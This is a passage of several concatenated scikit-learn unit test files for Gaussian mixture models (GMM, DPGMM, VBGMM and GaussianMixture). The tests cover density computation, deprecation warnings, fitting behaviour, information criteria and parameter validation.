    # slow and naive implementation of lmvnpdf
    ref = np.empty((len(X), len(mu)))
    stds = np.sqrt(cv)
    for i, (m, std) in enumerate(zip(mu, stds)):
        ref[:, i] = np.log(stats.norm.pdf(X, m, std)).sum(axis=1)
    return ref


def test_lmvnpdf_diag():
    # test a slow and naive implementation of lmvnpdf and
    # compare it to the vectorized version (mixture.lmvnpdf) to test
    # for correctness
    n_features, n_components, n_samples = 2, 3, 10
    mu = rng.randint(10) * rng.rand(n_components, n_features)
    cv = (rng.rand(n_components, n_features) + 1.0) ** 2
    X = rng.randint(10) * rng.rand(n_samples, n_features)

    ref = _naive_lmvnpdf_diag(X, mu, cv)
    lpr = assert_warns_message(DeprecationWarning, "The function"
                             " log_multivariate_normal_density is "
                             "deprecated in 0.18 and will be removed in 0.20.",
                             mixture.log_multivariate_normal_density,
                             X, mu, cv, 'diag')
    assert_array_almost_equal(lpr, ref)


def test_lmvnpdf_spherical():
    n_features, n_components, n_samples = 2, 3, 10

    mu = rng.randint(10) * rng.rand(n_components, n_features)
    spherecv = rng.rand(n_components, 1) ** 2 + 1
    X = rng.randint(10) * rng.rand(n_samples, n_features)

    cv = np.tile(spherecv, (n_features, 1))
    reference = _naive_lmvnpdf_diag(X, mu, cv)
    lpr = assert_warns_message(DeprecationWarning, "The function"
                             " log_multivariate_normal_density is "
                             "deprecated in 0.18 and will be removed in 0.20.",
                             mixture.log_multivariate_normal_density,
                             X, mu, spherecv, 'spherical')
    assert_array_almost_equal(lpr, reference)

def test_lmvnpdf_full():
    n_features, n_components, n_samples = 2, 3, 10

    mu = rng.randint(10) * rng.rand(n_components, n_features)
    cv = (rng.rand(n_components, n_features) + 1.0) ** 2
    X = rng.randint(10) * rng.rand(n_samples, n_features)

    fullcv = np.array([np.diag(x) for x in cv])

    reference = _naive_lmvnpdf_diag(X, mu, cv)
    lpr = assert_warns_message(DeprecationWarning, "The function"
                             " log_multivariate_normal_density is "
                             "deprecated in 0.18 and will be removed in 0.20.",
                             mixture.log_multivariate_normal_density,
                             X, mu, fullcv, 'full')
    assert_array_almost_equal(lpr, reference)


def test_lvmpdf_full_cv_non_positive_definite():
    n_features, n_samples = 2, 10
    rng = np.random.RandomState(0)
    X = rng.randint(10) * rng.rand(n_samples, n_features)
    mu = np.mean(X, 0)
    cv = np.array([[[-1, 0], [0, 1]]])
    expected_message = "'covars' must be symmetric, positive-definite"
    assert_raise_message(ValueError, expected_message,
                         mixture.log_multivariate_normal_density,
                         X, mu, cv, 'full')


# This function tests the deprecated old GMM class
@ignore_warnings(category=DeprecationWarning)
def test_GMM_attributes():
    n_components, n_features = 10, 4
    covariance_type = 'diag'
    g = mixture.GMM(n_components, covariance_type, random_state=rng)
    weights = rng.rand(n_components)
    weights = weights / weights.sum()
    means = rng.randint(-20, 20, (n_components, n_features))

    assert_true(g.n_components == n_components)
    assert_true(g.covariance_type == covariance_type)

    g.weights_ = weights
    assert_array_almost_equal(g.weights_, weights)
    g.means_ = means
    assert_array_almost_equal(g.means_, means)

    covars = (0.1 + 2 * rng.rand(n_components, n_features)) ** 2
    g.covars_ = covars
    assert_array_almost_equal(g.covars_, covars)
    assert_raises(ValueError, g._set_covars, [])
    assert_raises(ValueError, g._set_covars,
                  np.zeros((n_components - 2, n_features)))

    assert_raises(ValueError, mixture.GMM, n_components=20,
                  covariance_type='badcovariance_type')


class GMMTester():
    do_test_eval = True

    def _setUp(self):
        self.n_components = 10
        self.n_features = 4
        self.weights = rng.rand(self.n_components)
        self.weights = self.weights / self.weights.sum()
        self.means = rng.randint(-20, 20, (self.n_components, self.n_features))
        self.threshold = -0.5
        self.I = np.eye(self.n_features)
        self.covars = {
            'spherical': (0.1 + 2 * rng.rand(self.n_components,
                                             self.n_features)) ** 2,
            'tied': (make_spd_matrix(self.n_features, random_state=0)
                     + 5 * self.I),
            'diag': (0.1 + 2 * rng.rand(self.n_components,
                                        self.n_features)) ** 2,
            'full': np.array([make_spd_matrix(self.n_features, random_state=0)
                              + 5 * self.I for x in range(self.n_components)])}

    # This function tests the deprecated old GMM class
    @ignore_warnings(category=DeprecationWarning)
    def test_eval(self):
        if not self.do_test_eval:
            return  # DPGMM does not support setting the means and
        # covariances before fitting There is no way of fixing this
        # due to the variational parameters being more expressive than
        # covariance matrices
        g = self.model(n_components=self.n_components,
                       covariance_type=self.covariance_type, random_state=rng)
        # Make sure the means are far apart so responsibilities.argmax()
        # picks the actual component used to generate the observations.
        g.means_ = 20 * self.means
        g.covars_ = self.covars[self.covariance_type]
        g.weights_ = self.weights

        gaussidx = np.repeat(np.arange(self.n_components), 5)
        n_samples = len(gaussidx)
        X = rng.randn(n_samples, self.n_features) + g.means_[gaussidx]

        with ignore_warnings(category=DeprecationWarning):
            ll, responsibilities = g.score_samples(X)

        self.assertEqual(len(ll), n_samples)
        self.assertEqual(responsibilities.shape,
                         (n_samples, self.n_components))
        assert_array_almost_equal(responsibilities.sum(axis=1),
                                  np.ones(n_samples))
        assert_array_equal(responsibilities.argmax(axis=1), gaussidx)

    # This function tests the deprecated old GMM class
    @ignore_warnings(category=DeprecationWarning)
    def test_sample(self, n=100):
        g = self.model(n_components=self.n_components,
                       covariance_type=self.covariance_type,
                       random_state=rng)
        # Make sure the means are far apart so responsibilities.argmax()
        # picks the actual component used to generate the observations.
        g.means_ = 20 * self.means
        g.covars_ = np.maximum(self.covars[self.covariance_type], 0.1)
        g.weights_ = self.weights

        with ignore_warnings(category=DeprecationWarning):
            samples = g.sample(n)
        self.assertEqual(samples.shape, (n, self.n_features))

    # This function tests the deprecated old GMM class
    @ignore_warnings(category=DeprecationWarning)
    def test_train(self, params='wmc'):
        g = mixture.GMM(n_components=self.n_components,
                        covariance_type=self.covariance_type)
        with ignore_warnings(category=DeprecationWarning):
            g.weights_ = self.weights
            g.means_ = self.means
            g.covars_ = 20 * self.covars[self.covariance_type]

        # Create a training set by sampling from the predefined distribution.
        with ignore_warnings(category=DeprecationWarning):
            X = g.sample(n_samples=100)
            g = self.model(n_components=self.n_components,
                           covariance_type=self.covariance_type,
                           random_state=rng, min_covar=1e-1,
                           n_iter=1, init_params=params)
            g.fit(X)

        # Do one training iteration at a time so we can keep track of
        # the log likelihood to make sure that it increases after each
        # iteration.
        trainll = []
        with ignore_warnings(category=DeprecationWarning):
            for _ in range(5):
                g.params = params
                g.init_params = ''
                g.fit(X)
                trainll.append(self.score(g, X))
            g.n_iter = 10
            g.init_params = ''
            g.params = params
            g.fit(X)  # finish fitting

        # Note that the log likelihood will sometimes decrease by a
        # very small amount after it has more or less converged due to
        # the addition of min_covar to the covariance (to prevent
        # underflow).  This is why the threshold is set to -0.5
        # instead of 0.
        with ignore_warnings(category=DeprecationWarning):
            delta_min = np.diff(trainll).min()
        self.assertTrue(
            delta_min > self.threshold,
            "The min nll increase is %f which is lower than the admissible"
            " threshold of %f, for model %s. The likelihoods are %s."
            % (delta_min, self.threshold, self.covariance_type, trainll))

    # This function tests the deprecated old GMM class
    @ignore_warnings(category=DeprecationWarning)
    def test_train_degenerate(self, params='wmc'):
        # Train on degenerate data with 0 in some dimensions
        # Create a training set by sampling from the predefined
        # distribution.
        X = rng.randn(100, self.n_features)
        X.T[1:] = 0
        g = self.model(n_components=2,
                       covariance_type=self.covariance_type,
                       random_state=rng, min_covar=1e-3, n_iter=5,
                       init_params=params)
        with ignore_warnings(category=DeprecationWarning):
            g.fit(X)
            trainll = g.score(X)
        self.assertTrue(np.sum(np.abs(trainll / 100 / X.shape[1])) < 5)

    # This function tests the deprecated old GMM class
    @ignore_warnings(category=DeprecationWarning)
    def test_train_1d(self, params='wmc'):
        # Train on 1-D data
        # Create a training set by sampling from the predefined
        # distribution.
        X = rng.randn(100, 1)
        # X.T[1:] = 0
        g = self.model(n_components=2,
                       covariance_type=self.covariance_type,
                       random_state=rng, min_covar=1e-7, n_iter=5,
                       init_params=params)
        with ignore_warnings(category=DeprecationWarning):
            g.fit(X)
            trainll = g.score(X)
            if isinstance(g, mixture.dpgmm._DPGMMBase):
                self.assertTrue(np.sum(np.abs(trainll / 100)) < 5)
            else:
                self.assertTrue(np.sum(np.abs(trainll / 100)) < 2)

    # This function tests the deprecated old GMM class
    @ignore_warnings(category=DeprecationWarning)
    def score(self, g, X):
        with ignore_warnings(category=DeprecationWarning):
            return g.score(X).sum()


class TestGMMWithSphericalCovars(unittest.TestCase, GMMTester):
    covariance_type = 'spherical'
    model = mixture.GMM
    setUp = GMMTester._setUp


class TestGMMWithDiagonalCovars(unittest.TestCase, GMMTester):
    covariance_type = 'diag'
    model = mixture.GMM
    setUp = GMMTester._setUp


class TestGMMWithTiedCovars(unittest.TestCase, GMMTester):
    covariance_type = 'tied'
    model = mixture.GMM
    setUp = GMMTester._setUp


class TestGMMWithFullCovars(unittest.TestCase, GMMTester):
    covariance_type = 'full'
    model = mixture.GMM
    setUp = GMMTester._setUp


# This function tests the deprecated old GMM class
@ignore_warnings(category=DeprecationWarning)
def test_multiple_init():
    # Test that multiple inits does not much worse than a single one
    X = rng.randn(30, 5)
    X[:10] += 2
    g = mixture.GMM(n_components=2, covariance_type='spherical',
                    random_state=rng, min_covar=1e-7, n_iter=5)
    with ignore_warnings(category=DeprecationWarning):
        train1 = g.fit(X).score(X).sum()
        g.n_init = 5
        train2 = g.fit(X).score(X).sum()
    assert_true(train2 >= train1 - 1.e-2)


# This function tests the deprecated old GMM class
@ignore_warnings(category=DeprecationWarning)
def test_n_parameters():
    n_samples, n_dim, n_components = 7, 5, 2
    X = rng.randn(n_samples, n_dim)
    n_params = {'spherical': 13, 'diag': 21, 'tied': 26, 'full': 41}
    for cv_type in ['full', 'tied', 'diag', 'spherical']:
        with ignore_warnings(category=DeprecationWarning):
            g = mixture.GMM(n_components=n_components, covariance_type=cv_type,
                            random_state=rng, min_covar=1e-7, n_iter=1)
            g.fit(X)
            assert_true(g._n_parameters() == n_params[cv_type])


# This function tests the deprecated old GMM class
@ignore_warnings(category=DeprecationWarning)
def test_1d_1component():
    # Test all of the covariance_types return the same BIC score for
    # 1-dimensional, 1 component fits.
    n_samples, n_dim, n_components = 100, 1, 1
    X = rng.randn(n_samples, n_dim)
    g_full = mixture.GMM(n_components=n_components, covariance_type='full',
                         random_state=rng, min_covar=1e-7, n_iter=1)
    with ignore_warnings(category=DeprecationWarning):
        g_full.fit(X)
        g_full_bic = g_full.bic(X)
        for cv_type in ['tied', 'diag', 'spherical']:
            g = mixture.GMM(n_components=n_components, covariance_type=cv_type,
                            random_state=rng, min_covar=1e-7, n_iter=1)
            g.fit(X)
            assert_array_almost_equal(g.bic(X), g_full_bic)


def assert_fit_predict_correct(model, X):
    model2 = copy.deepcopy(model)

    predictions_1 = model.fit(X).predict(X)
    predictions_2 = model2.fit_predict(X)

    assert adjusted_rand_score(predictions_1, predictions_2) == 1.0


# This function tests the deprecated old GMM class
@ignore_warnings(category=DeprecationWarning)
def test_fit_predict():
    """
    test that gmm.fit_predict is equivalent to gmm.fit + gmm.predict
    """
    lrng = np.random.RandomState(101)

    n_samples, n_dim, n_comps = 100, 2, 2
    mu = np.array([[8, 8]])
    component_0 = lrng.randn(n_samples, n_dim)
    component_1 = lrng.randn(n_samples, n_dim) + mu
    X = np.vstack((component_0, component_1))

    for m_constructor in (mixture.GMM, mixture.VBGMM, mixture.DPGMM):
        model = m_constructor(n_components=n_comps, covariance_type='full',
                              min_covar=1e-7, n_iter=5,
                              random_state=np.random.RandomState(0))
        assert_fit_predict_correct(model, X)

    model = mixture.GMM(n_components=n_comps, n_iter=0)
    z = model.fit_predict(X)
    assert np.all(z == 0), "Quick Initialization Failed!"


# This function tests the deprecated old GMM class
@ignore_warnings(category=DeprecationWarning)
def test_aic():
    # Test the aic and bic criteria
    n_samples, n_dim, n_components = 50, 3, 2
    X = rng.randn(n_samples, n_dim)
    SGH = 0.5 * (X.var() + np.log(2 * np.pi))  # standard gaussian entropy

    for cv_type in ['full', 'tied', 'diag', 'spherical']:
        g = mixture.GMM(n_components=n_components, covariance_type=cv_type,
                        random_state=rng, min_covar=1e-7)
        g.fit(X)
        aic = 2 * n_samples * SGH * n_dim + 2 * g._n_parameters()
        bic = (2 * n_samples * SGH * n_dim +
               np.log(n_samples) * g._n_parameters())
        bound = n_dim * 3. / np.sqrt(n_samples)
        assert_true(np.abs(g.aic(X) - aic) / n_samples < bound)
        assert_true(np.abs(g.bic(X) - bic) / n_samples < bound)


# This function tests the deprecated old GMM class
@ignore_warnings(category=DeprecationWarning)
def check_positive_definite_covars(covariance_type):
    r"""Test that covariance matrices do not become non positive definite

    Due to the accumulation of round-off errors, the computation of the
    covariance  matrices during the learning phase could lead to non-positive
    definite covariance matrices. Namely the use of the formula:

    .. math:: C = (\sum_i w_i  x_i x_i^T) - \mu \mu^T

    instead of:

    .. math:: C = \sum_i w_i (x_i - \mu)(x_i - \mu)^T

    while mathematically equivalent, was observed a ``LinAlgError`` exception,
    when computing a ``GMM`` with full covariance matrices and fixed mean.

    This function ensures that some later optimization will not introduce the
    problem again.
    """
    rng = np.random.RandomState(1)
    # we build a dataset with 2 2d component. The components are unbalanced
    # (respective weights 0.9 and 0.1)
    X = rng.randn(100, 2)
    X[-10:] += (3, 3)  # Shift the 10 last points

    gmm = mixture.GMM(2, params="wc", covariance_type=covariance_type,
                      min_covar=1e-3)

    # This is a non-regression test for issue #2640. The following call used
    # to trigger:
    # numpy.linalg.linalg.LinAlgError: 2-th leading minor not positive definite
    gmm.fit(X)

    if covariance_type == "diag" or covariance_type == "spherical":
        assert_greater(gmm.covars_.min(), 0)
    else:
        if covariance_type == "tied":
            covs = [gmm.covars_]
        else:
            covs = gmm.covars_

        for c in covs:
            assert_greater(np.linalg.det(c), 0)


def test_positive_definite_covars():
    # Check positive definiteness for all covariance types
    for covariance_type in ["full", "tied", "diag", "spherical"]:
        yield check_positive_definite_covars, covariance_type


# This function tests the deprecated old GMM class
@ignore_warnings(category=DeprecationWarning)
def test_verbose_first_level():
    # Create sample data
    X = rng.randn(30, 5)
    X[:10] += 2
    g = mixture.GMM(n_components=2, n_init=2, verbose=1)

    old_stdout = sys.stdout
    sys.stdout = StringIO()
    try:
        g.fit(X)
    finally:
        sys.stdout = old_stdout


# This function tests the deprecated old GMM class
@ignore_warnings(category=DeprecationWarning)
def test_verbose_second_level():
    # Create sample data
    X = rng.randn(30, 5)
    X[:10] += 2
    g = mixture.GMM(n_components=2, n_init=2, verbose=2)

    old_stdout = sys.stdout
    sys.stdout = StringIO()
    try:
        g.fit(X)
    finally:
        sys.stdout = old_stdout






import unittest
import sys

import numpy as np

from sklearn.mixture import DPGMM, VBGMM
from sklearn.mixture.dpgmm import log_normalize
from sklearn.datasets import make_blobs
from sklearn.utils.testing import assert_array_less, assert_equal
from sklearn.utils.testing import assert_warns_message, ignore_warnings
from sklearn.mixture.tests.test_gmm import GMMTester
from sklearn.externals.six.moves import cStringIO as StringIO
from sklearn.mixture.dpgmm import digamma, gammaln
from sklearn.mixture.dpgmm import wishart_log_det, wishart_logz


np.seterr(all='warn')


@ignore_warnings(category=DeprecationWarning)
def test_class_weights():
    # check that the class weights are updated
    # simple 3 cluster dataset
    X, y = make_blobs(random_state=1)
    for Model in [DPGMM, VBGMM]:
        dpgmm = Model(n_components=10, random_state=1, alpha=20, n_iter=50)
        dpgmm.fit(X)
        # get indices of components that are used:
        indices = np.unique(dpgmm.predict(X))
        active = np.zeros(10, dtype=np.bool)
        active[indices] = True
        # used components are important
        assert_array_less(.1, dpgmm.weights_[active])
        # others are not
        assert_array_less(dpgmm.weights_[~active], .05)


@ignore_warnings(category=DeprecationWarning)
def test_verbose_boolean():
    # checks that the output for the verbose output is the same
    # for the flag values '1' and 'True'
    # simple 3 cluster dataset
    X, y = make_blobs(random_state=1)
    for Model in [DPGMM, VBGMM]:
        dpgmm_bool = Model(n_components=10, random_state=1, alpha=20,
                           n_iter=50, verbose=True)
        dpgmm_int = Model(n_components=10, random_state=1, alpha=20,
                          n_iter=50, verbose=1)

        old_stdout = sys.stdout
        sys.stdout = StringIO()
        try:
            # generate output with the boolean flag
            dpgmm_bool.fit(X)
            verbose_output = sys.stdout
            verbose_output.seek(0)
            bool_output = verbose_output.readline()
            # generate output with the int flag
            dpgmm_int.fit(X)
            verbose_output = sys.stdout
            verbose_output.seek(0)
            int_output = verbose_output.readline()
            assert_equal(bool_output, int_output)
        finally:
            sys.stdout = old_stdout


@ignore_warnings(category=DeprecationWarning)
def test_verbose_first_level():
    # simple 3 cluster dataset
    X, y = make_blobs(random_state=1)
    for Model in [DPGMM, VBGMM]:
        dpgmm = Model(n_components=10, random_state=1, alpha=20, n_iter=50,
                      verbose=1)

        old_stdout = sys.stdout
        sys.stdout = StringIO()
        try:
            dpgmm.fit(X)
        finally:
            sys.stdout = old_stdout


@ignore_warnings(category=DeprecationWarning)
def test_verbose_second_level():
    # simple 3 cluster dataset
    X, y = make_blobs(random_state=1)
    for Model in [DPGMM, VBGMM]:
        dpgmm = Model(n_components=10, random_state=1, alpha=20, n_iter=50,
                      verbose=2)

        old_stdout = sys.stdout
        sys.stdout = StringIO()
        try:
            dpgmm.fit(X)
        finally:
            sys.stdout = old_stdout


@ignore_warnings(category=DeprecationWarning)
def test_digamma():
    assert_warns_message(DeprecationWarning, "The function digamma is"
                         " deprecated in 0.18 and will be removed in 0.20. "
                         "Use scipy.special.digamma instead.", digamma, 3)


@ignore_warnings(category=DeprecationWarning)
def test_gammaln():
    assert_warns_message(DeprecationWarning, "The function gammaln"
                         " is deprecated in 0.18 and will be removed"
                         " in 0.20. Use scipy.special.gammaln instead.",
                         gammaln, 3)


@ignore_warnings(category=DeprecationWarning)
def test_log_normalize():
    v = np.array([0.1, 0.8, 0.01, 0.09])
    a = np.log(2 * v)
    result = assert_warns_message(DeprecationWarning, "The function "
                                  "log_normalize is deprecated in 0.18 and"
                                  " will be removed in 0.20.",
                                  log_normalize, a)
    assert np.allclose(v, result, rtol=0.01)


@ignore_warnings(category=DeprecationWarning)
def test_wishart_log_det():
    a = np.array([0.1, 0.8, 0.01, 0.09])
    b = np.array([0.2, 0.7, 0.05, 0.1])
    assert_warns_message(DeprecationWarning, "The function "
                         "wishart_log_det is deprecated in 0.18 and"
                         " will be removed in 0.20.",
                         wishart_log_det, a, b, 2, 4)


@ignore_warnings(category=DeprecationWarning)
def test_wishart_logz():
    assert_warns_message(DeprecationWarning, "The function "
                         "wishart_logz is deprecated in 0.18 and "
                         "will be removed in 0.20.", wishart_logz,
                         3, np.identity(3), 1, 3)


@ignore_warnings(category=DeprecationWarning)
def test_DPGMM_deprecation():
    assert_warns_message(DeprecationWarning, "The DPGMM class is"
                         " not working correctly and it's better "
                         "to not use it. DPGMM is deprecated in 0.18 "
                         "and will be removed in 0.20.", DPGMM)


def do_model(self, **kwds):
    return VBGMM(verbose=False, **kwds)


class DPGMMTester(GMMTester):
    model = DPGMM
    do_test_eval = False

    def score(self, g, train_obs):
        _, z = g.score_samples(train_obs)
        return g.lower_bound(train_obs, z)


class TestDPGMMWithSphericalCovars(unittest.TestCase, DPGMMTester):
    covariance_type = 'spherical'
    setUp = GMMTester._setUp


class TestDPGMMWithDiagCovars(unittest.TestCase, DPGMMTester):
    covariance_type = 'diag'
    setUp = GMMTester._setUp


class TestDPGMMWithTiedCovars(unittest.TestCase, DPGMMTester):
    covariance_type = 'tied'
    setUp = GMMTester._setUp


class TestDPGMMWithFullCovars(unittest.TestCase, DPGMMTester):
    covariance_type = 'full'
    setUp = GMMTester._setUp


def test_VBGMM_deprecation():
    assert_warns_message(
        DeprecationWarning,
        "The VBGMM class is not working correctly and it's better to not use "
        "it. VBGMM is deprecated in 0.18 and will be removed in 0.20.", VBGMM)


class VBGMMTester(GMMTester):
    model = do_model
    do_test_eval = False

    def score(self, g, train_obs):
        _, z = g.score_samples(train_obs)
        return g.lower_bound(train_obs, z)


class TestVBGMMWithSphericalCovars(unittest.TestCase, VBGMMTester):
    covariance_type = 'spherical'
    setUp = GMMTester._setUp


class TestVBGMMWithDiagCovars(unittest.TestCase, VBGMMTester):
    covariance_type = 'diag'
    setUp = GMMTester._setUp


class TestVBGMMWithTiedCovars(unittest.TestCase, VBGMMTester):
    covariance_type = 'tied'
    setUp = GMMTester._setUp


class TestVBGMMWithFullCovars(unittest.TestCase, VBGMMTester):
    covariance_type = 'full'
    setUp = GMMTester._setUp


def test_vbgmm_no_modify_alpha():
    alpha = 2.
    n_components = 3
    X, y = make_blobs(random_state=1)
    vbgmm = VBGMM(n_components=n_components, alpha=alpha, n_iter=1)
    assert_equal(vbgmm.alpha, alpha)
    assert_equal(vbgmm.fit(X).alpha_, float(alpha) / n_components)












# Author: Wei Xue <xuewei4d@gmail.com>
#         Thierry Guillemot <thierry.guillemot.work@gmail.com>
# License: BSD 3 clauseimport warnings

import sys
import warnings

import numpy as np

from scipy import stats, linalg

from sklearn.covariance import EmpiricalCovariance
from sklearn.datasets.samples_generator import make_spd_matrix
from sklearn.externals.six.moves import cStringIO as StringIO
from sklearn.metrics.cluster import adjusted_rand_score
from sklearn.mixture.gaussian_mixture import GaussianMixture
from sklearn.mixture.gaussian_mixture import (
    _estimate_gaussian_covariances_full,
    _estimate_gaussian_covariances_tied,
    _estimate_gaussian_covariances_diag,
    _estimate_gaussian_covariances_spherical)
from sklearn.mixture.gaussian_mixture import _compute_precision_cholesky
from sklearn.mixture.gaussian_mixture import _compute_log_det_cholesky
from sklearn.exceptions import ConvergenceWarning, NotFittedError
from sklearn.utils.extmath import fast_logdet
from sklearn.utils.testing import assert_allclose
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_greater_equal
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_warns_message


COVARIANCE_TYPE = ['full', 'tied', 'diag', 'spherical']


def generate_data(n_samples, n_features, weights, means, precisions,
                  covariance_type):
    rng = np.random.RandomState(0)

    X = []
    if covariance_type == 'spherical':
        for _, (w, m, c) in enumerate(zip(weights, means,
                                          precisions['spherical'])):
            X.append(rng.multivariate_normal(m, c * np.eye(n_features),
                                             int(np.round(w * n_samples))))
    if covariance_type == 'diag':
        for _, (w, m, c) in enumerate(zip(weights, means,
                                          precisions['diag'])):
            X.append(rng.multivariate_normal(m, np.diag(c),
                                             int(np.round(w * n_samples))))
    if covariance_type == 'tied':
        for _, (w, m) in enumerate(zip(weights, means)):
            X.append(rng.multivariate_normal(m, precisions['tied'],
                                             int(np.round(w * n_samples))))
    if covariance_type == 'full':
        for _, (w, m, c) in enumerate(zip(weights, means,
                                          precisions['full'])):
            X.append(rng.multivariate_normal(m, c,
                                             int(np.round(w * n_samples))))

    X = np.vstack(X)
    return X


class RandomData(object):
    def __init__(self, rng, n_samples=500, n_components=2, n_features=2,
                 scale=50):
        self.n_samples = n_samples
        self.n_components = n_components
        self.n_features = n_features

        self.weights = rng.rand(n_components)
        self.weights = self.weights / self.weights.sum()
        self.means = rng.rand(n_components, n_features) * scale
        self.covariances = {
            'spherical': .5 + rng.rand(n_components),
            'diag': (.5 + rng.rand(n_components, n_features)) ** 2,
            'tied': make_spd_matrix(n_features, random_state=rng),
            'full': np.array([
                make_spd_matrix(n_features, random_state=rng) * .5
                for _ in range(n_components)])}
        self.precisions = {
            'spherical': 1. / self.covariances['spherical'],
            'diag': 1. / self.covariances['diag'],
            'tied': linalg.inv(self.covariances['tied']),
            'full': np.array([linalg.inv(covariance)
                             for covariance in self.covariances['full']])}

        self.X = dict(zip(COVARIANCE_TYPE, [generate_data(
            n_samples, n_features, self.weights, self.means, self.covariances,
            covar_type) for covar_type in COVARIANCE_TYPE]))
        self.Y = np.hstack([k * np.ones(int(np.round(w * n_samples)))
                            for k, w in enumerate(self.weights)])


def test_gaussian_mixture_attributes():
    # test bad parameters
    rng = np.random.RandomState(0)
    X = rng.rand(10, 2)

    n_components_bad = 0
    gmm = GaussianMixture(n_components=n_components_bad)
    assert_raise_message(ValueError,
                         "Invalid value for 'n_components': %d "
                         "Estimation requires at least one component"
                         % n_components_bad, gmm.fit, X)

    # covariance_type should be in [spherical, diag, tied, full]
    covariance_type_bad = 'bad_covariance_type'
    gmm = GaussianMixture(covariance_type=covariance_type_bad)
    assert_raise_message(ValueError,
                         "Invalid value for 'covariance_type': %s "
                         "'covariance_type' should be in "
                         "['spherical', 'tied', 'diag', 'full']"
                         % covariance_type_bad,
                         gmm.fit, X)

    tol_bad = -1
    gmm = GaussianMixture(tol=tol_bad)
    assert_raise_message(ValueError,
                         "Invalid value for 'tol': %.5f "
                         "Tolerance used by the EM must be non-negative"
                         % tol_bad, gmm.fit, X)

    reg_covar_bad = -1
    gmm = GaussianMixture(reg_covar=reg_covar_bad)
    assert_raise_message(ValueError,
                         "Invalid value for 'reg_covar': %.5f "
                         "regularization on covariance must be "
                         "non-negative" % reg_covar_bad, gmm.fit, X)

    max_iter_bad = 0
    gmm = GaussianMixture(max_iter=max_iter_bad)
    assert_raise_message(ValueError,
                         "Invalid value for 'max_iter': %d "
                         "Estimation requires at least one iteration"
                         % max_iter_bad, gmm.fit, X)

    n_init_bad = 0
    gmm = GaussianMixture(n_init=n_init_bad)
    assert_raise_message(ValueError,
                         "Invalid value for 'n_init': %d "
                         "Estimation requires at least one run"
                         % n_init_bad, gmm.fit, X)

    init_params_bad = 'bad_method'
    gmm = GaussianMixture(init_params=init_params_bad)
    assert_raise_message(ValueError,
                         "Unimplemented initialization method '%s'"
                         % init_params_bad,
                         gmm.fit, X)

    # test good parameters
    n_components, tol, n_init, max_iter, reg_covar = 2, 1e-4, 3, 30, 1e-1
    covariance_type, init_params = 'full', 'random'
    gmm = GaussianMixture(n_components=n_components, tol=tol, n_init=n_init,
                          max_iter=max_iter, reg_covar=reg_covar,
                          covariance_type=covariance_type,
                          init_params=init_params).fit(X)

    assert_equal(gmm.n_components, n_components)
    assert_equal(gmm.covariance_type, covariance_type)
    assert_equal(gmm.tol, tol)
    assert_equal(gmm.reg_covar, reg_covar)
    assert_equal(gmm.max_iter, max_iter)
    assert_equal(gmm.n_init, n_init)
    assert_equal(gmm.init_params, init_params)


def test_check_X():
    from sklearn.mixture.base import _check_X
    rng = np.random.RandomState(0)

    n_samples, n_components, n_features = 10, 2, 2

    X_bad_dim = rng.rand(n_components - 1, n_features)
    assert_raise_message(ValueError,
                         'Expected n_samples >= n_components '
                         'but got n_components = %d, n_samples = %d'
                         % (n_components, X_bad_dim.shape[0]),
                         _check_X, X_bad_dim, n_components)

    X_bad_dim = rng.rand(n_components, n_features + 1)
    assert_raise_message(ValueError,
                         'Expected the input data X have %d features, '
                         'but got %d features'
                         % (n_features, X_bad_dim.shape[1]),
                         _check_X, X_bad_dim, n_components, n_features)

    X = rng.rand(n_samples, n_features)
    assert_array_equal(X, _check_X(X, n_components, n_features))


def test_check_weights():
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng)

    n_components = rand_data.n_components
    X = rand_data.X['full']

    g = GaussianMixture(n_components=n_components)

    # Check bad shape
    weights_bad_shape = rng.rand(n_components, 1)
    g.weights_init = weights_bad_shape
    assert_raise_message(ValueError,
                         "The parameter 'weights' should have the shape of "
                         "(%d,), but got %s" %
                         (n_components, str(weights_bad_shape.shape)),
                         g.fit, X)

    # Check bad range
    weights_bad_range = rng.rand(n_components) + 1
    g.weights_init = weights_bad_range
    assert_raise_message(ValueError,
                         "The parameter 'weights' should be in the range "
                         "[0, 1], but got max value %.5f, min value %.5f"
                         % (np.min(weights_bad_range),
                            np.max(weights_bad_range)),
                         g.fit, X)

    # Check bad normalization
    weights_bad_norm = rng.rand(n_components)
    weights_bad_norm = weights_bad_norm / (weights_bad_norm.sum() + 1)
    g.weights_init = weights_bad_norm
    assert_raise_message(ValueError,
                         "The parameter 'weights' should be normalized, "
                         "but got sum(weights) = %.5f"
                         % np.sum(weights_bad_norm),
                         g.fit, X)

    # Check good weights matrix
    weights = rand_data.weights
    g = GaussianMixture(weights_init=weights, n_components=n_components)
    g.fit(X)
    assert_array_equal(weights, g.weights_init)


def test_check_means():
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng)

    n_components, n_features = rand_data.n_components, rand_data.n_features
    X = rand_data.X['full']

    g = GaussianMixture(n_components=n_components)

    # Check means bad shape
    means_bad_shape = rng.rand(n_components + 1, n_features)
    g.means_init = means_bad_shape
    assert_raise_message(ValueError,
                         "The parameter 'means' should have the shape of ",
                         g.fit, X)

    # Check good means matrix
    means = rand_data.means
    g.means_init = means
    g.fit(X)
    assert_array_equal(means, g.means_init)


def test_check_precisions():
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng)

    n_components, n_features = rand_data.n_components, rand_data.n_features

    # Define the bad precisions for each covariance_type
    precisions_bad_shape = {
        'full': np.ones((n_components + 1, n_features, n_features)),
        'tied': np.ones((n_features + 1, n_features + 1)),
        'diag': np.ones((n_components + 1, n_features)),
        'spherical': np.ones((n_components + 1))}

    # Define not positive-definite precisions
    precisions_not_pos = np.ones((n_components, n_features, n_features))
    precisions_not_pos[0] = np.eye(n_features)
    precisions_not_pos[0, 0, 0] = -1.

    precisions_not_positive = {
        'full': precisions_not_pos,
        'tied': precisions_not_pos[0],
        'diag': -1. * np.ones((n_components, n_features)),
        'spherical': -1. * np.ones(n_components)}

    not_positive_errors = {
        'full': 'symmetric, positive-definite',
        'tied': 'symmetric, positive-definite',
        'diag': 'positive',
        'spherical': 'positive'}

    for covar_type in COVARIANCE_TYPE:
        X = RandomData(rng).X[covar_type]
        g = GaussianMixture(n_components=n_components,
                            covariance_type=covar_type,
                            random_state=rng)

